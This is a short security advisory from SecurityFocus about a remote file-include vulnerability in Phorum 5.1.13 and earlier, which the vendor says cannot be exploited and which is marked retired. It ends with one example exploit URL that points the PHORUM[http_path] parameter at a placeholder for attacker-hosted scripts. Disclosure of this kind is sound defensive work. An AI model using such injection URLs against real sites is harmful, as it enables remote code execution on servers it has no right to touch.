source: https://www.securityfocus.com/bid/16977/info

The PHORUM application is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue is reported to affect versions 5.1.13 and prior; other versions may also be vulnerable.

NOTE: The vendor reports that this issue cannot be exploited due to security restrictions placed on 'common.php'; therefore, this BID is being retired.

http://www.example.com/[phorum_path]/common.php?PHORUM[http_path]=[evil_scripts]